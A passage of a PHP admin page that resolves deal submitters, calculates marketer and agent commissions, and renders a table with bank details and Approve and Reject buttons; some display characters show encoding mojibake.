                        if ($dealSource === '') { $dealSource = ((strpos($subRole, 'contact') !== false || strpos($subRole, 'customer') !== false) ? 'Contact Centre' : 'Marketing'); }
                        if ($submitterUserId > 0) {
                            $sr = strtolower(trim(getUserRoleById($submitterUserId)));
                            if ($isAllowedSubmitterRole($sr)) {
                                if ($sr !== '') {
                                    if (strpos($sr, 'contact') !== false || strpos($sr, 'customer') !== false || in_array($sr, ['customer_rep','contact_rep','customer_care','contact_centre','contact_center'], true)) {
                                        $dealSource = 'Contact Centre';
                                    } else {
                                        $dealSource = 'Marketing';
                                    }
                                }
                                $nm = $resolveSubmitterNameFromUserId($submitterUserId);
                                if ($nm !== '') { $by = $nm; }
                            }
                        }
                        if ($by === '' && !empty($meta['submitted_by_user'])) {
                            $nm = $resolveSubmitterNameFromUserId((int)$meta['submitted_by_user']);
                            if ($nm !== '') { $by = $nm; }
                        }
                        if ($by === '' && !empty($it['ds_submitted_by_user']) && ctype_digit((string)$it['ds_submitted_by_user'])) {
                            $nm = $resolveSubmitterNameFromUserId((int)$it['ds_submitted_by_user']);
                            if ($nm !== '') { $by = $nm; }
                        }
                        if ($by === '' && !empty($it['ds_created_by_user']) && ctype_digit((string)$it['ds_created_by_user'])) {
                            $nm = $resolveSubmitterNameFromUserId((int)$it['ds_created_by_user']);
                            if ($nm !== '') { $by = $nm; }
                        }
                        if ($by === '' && !empty($it['ds_submitted_by'])) { $by = (string)$it['ds_submitted_by']; }
                        if ($by === '' && !empty($it['ds_submitted_by'])) {
                            $raw = (string)$it['ds_submitted_by'];
                            if (ctype_digit($raw)) {
                                $nm = $resolveSubmitterNameFromUserId((int)$raw);
                                if ($nm !== '') { $by = $nm; }
                            } elseif (strpos($raw, '@') !== false) {
                                $sb = getUserByEmail($raw);
                                if (!empty($sb['name'])) { $by = (string)$sb['name']; }
                                elseif ($by === '') { $by = getDisplayNameFromEmail($raw) ?: $raw; }
                            }
                        }
                        if ($by === '' && !empty($it['ds_created_by'])) {
                            $raw = (string)$it['ds_created_by'];
                            if (ctype_digit($raw)) {
                                $nm = $resolveSubmitterNameFromUserId((int)$raw);
                                if ($nm !== '') { $by = $nm; }
                            } elseif (strpos($raw, '@') !== false) {
                                $sb = getUserByEmail($raw);
                                if (!empty($sb['name'])) { $by = (string)$sb['name']; }
                                elseif ($by === '') { $by = getDisplayNameFromEmail($raw) ?: $raw; }
                            }
                        }
                        if ($by !== '') {
                            $tmp = strtolower(trim($by));
                            if (in_array($tmp, ['marketing','marketer','contact','contact centre','contact center','customer rep','contact rep'], true)) { $by = ''; }
                        }
                        if ($by === '' && !empty($it['submitted_by_id']) && ctype_digit((string)$it['submitted_by_id'])) {
                            $nm = $resolveSubmitterNameFromUserId((int)$it['submitted_by_id']);
                            if ($nm !== '') { $by = $nm; }
                        }
                        if ($by === '') {
                            $dsMeta = [];
                            if (!empty($it['ds_meta'])) {
                                if (is_string($it['ds_meta'])) { $dsMeta = json_decode($it['ds_meta'], true) ?: []; }
                                elseif (is_array($it['ds_meta'])) { $dsMeta = $it['ds_meta']; }
                            }
                            if ($by === '' && !empty($meta['created_by_user'])) {
                                $nm = $resolveSubmitterNameFromUserId((int)$meta['created_by_user']);
                                if ($nm !== '') { $by = $nm; }
                            }
                            if ($by === '' && !empty($meta['created_by']) && ctype_digit((string)$meta['created_by'])) {
                                $nm = $resolveSubmitterNameFromUserId((int)$meta['created_by']);
                                if ($nm !== '') { $by = $nm; }
                            }
                            if ($by === '' && !empty($meta['marketer_id']) && ctype_digit((string)$meta['marketer_id'])) {
                                $nm = $resolveSubmitterNameFromUserId((int)$meta['marketer_id']);
                                if ($nm !== '') { $by = $nm; }
                            }
                            if (!empty($meta['submitted_by_name'])) { $by = (string)$meta['submitted_by_name']; }
                            elseif (!empty($dsMeta['submitted_by_name'])) { $by = (string)$dsMeta['submitted_by_name']; }
                            elseif (!empty($dsMeta['marketer_name'])) { $by = (string)$dsMeta['marketer_name']; }
                            elseif (!empty($dsMeta['marketer_fullname'])) { $by = (string)$dsMeta['marketer_fullname']; }
                            elseif (!empty($dsMeta['marketer'])) { $by = (string)$dsMeta['marketer']; }
                            if ($by === '') {
                                $cands = [
                                    'uploaded_by_name','uploaded_by',
                                    'created_by_name',
                                    'contact_rep_name','contact_rep_fullname','contact_rep',
                                    'customer_rep_name','customer_rep_fullname','customer_rep',
                                    'marketer_full_name','marketer_fullname',
                                    'Marketer or Contact Centre Name','Marketer or Contact Center Name',
                                    'Contact Centre Name','Contact Center Name',
                                    'Marketer鈥檚 Name',"Marketer's Name",
                                    'marketer','sales_agent','sales_rep','contact_rep','agent_name'
                                ];
                                foreach ($cands as $k) { if (!empty($meta[$k])) { $by = (string)$meta[$k]; break; } }
                                if ($by === '') { foreach ($cands as $k) { if (!empty($dsMeta[$k])) { $by = (string)$dsMeta[$k]; break; } } }
                            }
                            if ($by === '' && !empty($meta['submitted_by_email'])) {
                                $em = (string)$meta['submitted_by_email'];
                                $sb = getUserByEmail($em);
                                if (!empty($sb['name'])) { $by = (string)$sb['name']; } else { $by = getDisplayNameFromEmail($em) ?: $em; }
                            }
                            if ($by === '' && !empty($dsMeta['submitted_by_email'])) {
                                $em = (string)$dsMeta['submitted_by_email'];
                                $sb = getUserByEmail($em);
                                if (!empty($sb['name'])) { $by = (string)$sb['name']; } else { $by = getDisplayNameFromEmail($em) ?: $em; }
                            }
                            if ($by === '' && !empty($meta['marketer_email'])) {
                                $em = (string)$meta['marketer_email'];
                                $sb = getUserByEmail($em);
                                if (!empty($sb['name'])) { $by = (string)$sb['name']; } else { $by = getDisplayNameFromEmail($em) ?: $em; }
                            }
                            if ($by === '' && !empty($dsMeta['marketer_email'])) {
                                $em = (string)$dsMeta['marketer_email'];
                                $sb = getUserByEmail($em);
                                if (!empty($sb['name'])) { $by = (string)$sb['name']; } else { $by = getDisplayNameFromEmail($em) ?: $em; }
                            }
                        }
                        if ($by === '') {
                            $ref = trim((string)($it['reference'] ?? ''));
                            if ($ref !== '' && $pdo->query("SHOW TABLES LIKE 'deals_submit'")->rowCount() > 0 && function_exists('tableHasColumn') && tableHasColumn('deals_submit','meta_json')) {
                                try {
                                    $pat = '%"payment_reference":"' . $ref . '"%';
                                    $s = $pdo->prepare("SELECT submitted_by, marketer_name, meta_json FROM deals_submit WHERE meta_json LIKE ? ORDER BY id DESC LIMIT 1");
                                    $s->execute([$pat]);
                                    $dsr = $s->fetch(PDO::FETCH_ASSOC) ?: [];
                                    $dsm = [];
                                    if (!empty($dsr['meta_json'])) { $dsm = json_decode((string)$dsr['meta_json'], true) ?: []; }
                                    if ($by === '' && !empty($dsm['submitted_by_name'])) { $by = (string)$dsm['submitted_by_name']; }
                                    if ($by === '' && !empty($dsm['submitted_by_user']) && ctype_digit((string)$dsm['submitted_by_user'])) {
                                        $sb = getClient((int)$dsm['submitted_by_user']);
                                        if (!empty($sb['name'])) { $by = (string)$sb['name']; }
                                    }
                                    if ($by === '' && !empty($dsr['submitted_by'])) {
                                        $raw = (string)$dsr['submitted_by'];
                                        if (ctype_digit($raw)) {
                                            $sb = getClient((int)$raw);
                                            if (!empty($sb['name'])) { $by = (string)$sb['name']; }
                                        } elseif (strpos($raw, '@') !== false) {
                                            $sb = getUserByEmail($raw);
                                            if (!empty($sb['name'])) { $by = (string)$sb['name']; } else { $by = getDisplayNameFromEmail($raw) ?: $raw; }
                                        } else { $by = $raw; }
                                    }
                                    if ($by === '' && !empty($dsr['marketer_name'])) { $by = (string)$dsr['marketer_name']; }
                                } catch (Throwable $e) {}
                            }
                        }
                        $mPct = (float)($meta['marketer_pct'] ?? 0);
                        $aPct = (float)($meta['agent_pct'] ?? 0);
                        $mAmt = (float)($meta['marketer_comm'] ?? (float)($it['ds_marketer_commission'] ?? 0));
                        $aAmt = (float)($meta['agent_comm'] ?? (float)($it['ds_agent_commission'] ?? 0));
                        $totalPct = (float)($meta['commission_total_pct'] ?? ($meta['commission_pct'] ?? ((float)($it['ds_commission_percent'] ?? 0) ?: ($mPct + $aPct))));
                        if ($totalPct <= 0 && $mPct <= 0 && $aPct <= 0) {
                            $mPct = 3.0; $aPct = 2.0; $totalPct = 5.0;
                        }
                        if (($mAmt <= 0 || $aAmt <= 0) && ($mPct > 0 || $aPct > 0)) {
                            $baseAmt = (float)($it['amount'] ?? 0);
                            if ($mAmt <= 0 && $mPct > 0) { $mAmt = round(($baseAmt * $mPct) / 100, 2); }
                            if ($aAmt <= 0 && $aPct > 0) { $aAmt = round(($baseAmt * $aPct) / 100, 2); }
                        }
                        $mBank = [];
                        if (!empty($it['ds_marketer_bank'])) { $mBank = is_string($it['ds_marketer_bank']) ? (json_decode($it['ds_marketer_bank'], true) ?: []) : (is_array($it['ds_marketer_bank']) ? $it['ds_marketer_bank'] : []); }
                        if (empty($mBank) && !empty($meta['marketer_bank'])) { $mBank = is_string($meta['marketer_bank']) ? (json_decode($meta['marketer_bank'], true) ?: []) : (is_array($meta['marketer_bank']) ? $meta['marketer_bank'] : []); }
                        $aBank = [];
                        if (!empty($it['ds_agent_bank'])) { $aBank = is_string($it['ds_agent_bank']) ? (json_decode($it['ds_agent_bank'], true) ?: []) : (is_array($it['ds_agent_bank']) ? $it['ds_agent_bank'] : []); }
                        if (empty($aBank) && !empty($meta['agent_bank'])) { $aBank = is_string($meta['agent_bank']) ? (json_decode($meta['agent_bank'], true) ?: []) : (is_array($meta['agent_bank']) ? $meta['agent_bank'] : []); }
                        $cStatus = (string)($meta['commission_status'] ?? 'pending');
                        $cAuto = (bool)($meta['commission_auto_approve'] ?? false);
                        $canAct = $canApproveCommission;
                        $perfClass = 'tag-medium';
                        $perfLabel = 'Medium';
                        $stLower = strtolower(trim($cStatus));
                        if ($stLower === 'approved') { $perfClass = 'tag-high'; $perfLabel = 'High'; }
                        elseif ($stLower === 'rejected') { $perfClass = 'tag-risk'; $perfLabel = 'Risk'; }
                        ?>
                        <tr class="commission-row">
                            <td>
                                <?php $byDisplay = trim((string)$by); if ($byDisplay === '' || strtolower($byDisplay) === 'unknown' || $byDisplay === '-') { $byDisplay = '-'; } ?>
                                <div class="marketer-block">
                                    <div class="marketer-name">Submitted by: <?= htmlspecialchars($byDisplay) ?></div>
                                    <div class="marketer-meta"><?= htmlspecialchars($dealSource ?: 'Marketing') ?> 路 Ref: <?= htmlspecialchars((string)($it['reference'] ?? '')) ?></div>
                                </div>
                            </td>
                            <td>
                                <div class="fw-semibold"><?= htmlspecialchars($clientName ?: 'Unknown Client') ?></div>
                                <div class="marketer-meta"><?= htmlspecialchars($clientEmail ?: '') ?> 路 ID #<?= (int)($it['user_id'] ?? 0) ?></div>
                            </td>
                            <td>
                                <div class="commission-amount"><?= number_format((float)($it['amount'] ?? 0), 2) ?></div>
                                <div class="commission-sub"><?= htmlspecialchars(($it['pay_method'] ?? '') ?: ($it['payment_method'] ?? '')) ?> 路 <?= htmlspecialchars(date('Y-m-d H:i', strtotime($it['dt'] ?? ($it['created_at'] ?? date('Y-m-d H:i:s'))))) ?></div>
                                <div class="commission-sub mt-1">
                                    <?= ($dealSource==='Contact Centre'?'Contact':'Marketer') ?> <?= number_format($mPct,2) ?>% (<?= number_format($mAmt,2) ?>) 路 Agent <?= number_format($aPct,2) ?>% (<?= number_format($aAmt,2) ?>) 路 Total <?= number_format($totalPct,2) ?>%
                                </div>
                            </td>
                            <td>
                                <div class="d-flex flex-wrap gap-2 align-items-center">
                                    <?php if ($cStatus === 'approved'): ?>
                                        <span class="perf-tag tag-high">Approved</span>
                                    <?php elseif ($cStatus === 'rejected'): ?>
                                        <span class="perf-tag tag-risk">Rejected</span>
                                    <?php else: ?>
                                        <span class="perf-tag tag-medium">Pending</span>
                                    <?php endif; ?>
                                    <span class="perf-tag <?= $perfClass ?>"><?= $perfLabel ?></span>
                                </div>
                                <div class="commission-sub mt-2">
                                    <?= ($dealSource==='Contact Centre'?'Contact':'Marketer') ?>: <?= htmlspecialchars((string)($mBank['bank'] ?? '')) ?> <?= htmlspecialchars((string)($mBank['acc_no'] ?? '')) ?>
                                </div>
                                <div class="commission-sub">
                                    Agent: <?= htmlspecialchars((string)($aBank['bank'] ?? '')) ?> <?= htmlspecialchars((string)($aBank['acc_no'] ?? '')) ?>
                                </div>
                                <?php if ($cStatus !== 'approved' && $cStatus !== 'rejected' && !$cAuto): ?>
                                    <div class="commission-sub">Not Auto-Approve</div>
                                <?php endif; ?>
                            </td>
                            <td class="text-end">
                                <?php if ($canAct): ?>
                                <div class="d-inline-flex gap-2 flex-wrap justify-content-end">
                                    <form method="post" class="d-inline">
                                        <input type="hidden" name="payment_id" value="<?= (int)$it['id'] ?>">
                                        <input type="hidden" name="action" value="approve">
                                        <button class="action-btn pay-btn" type="submit"><i class="fa-solid fa-check"></i>Approve</button>
                                    </form>
                                    <form method="post" class="d-inline">
                                        <input type="hidden" name="payment_id" value="<?= (int)$it['id'] ?>">
                                        <input type="hidden" name="action" value="reject">
                                        <button class="action-btn view-btn" type="submit"><i class="fa-solid fa-xmark"></i>Reject</button>
                                    </form>
                                </div>
                                <?php endif; ?>
                            </td>
                        </tr>
                        <?php endforeach; ?>
                        <?php if (empty($items)): ?>
                        <tr><td colspan="5" class="text-center text-muted">No commission records found.</td></tr>
                        <?php endif; ?>
                    </tbody>
                </table>
            </div>
        </div>
    </div>
</div>
<?php include __DIR__ . '/includes/footer.php'; ?>

Hry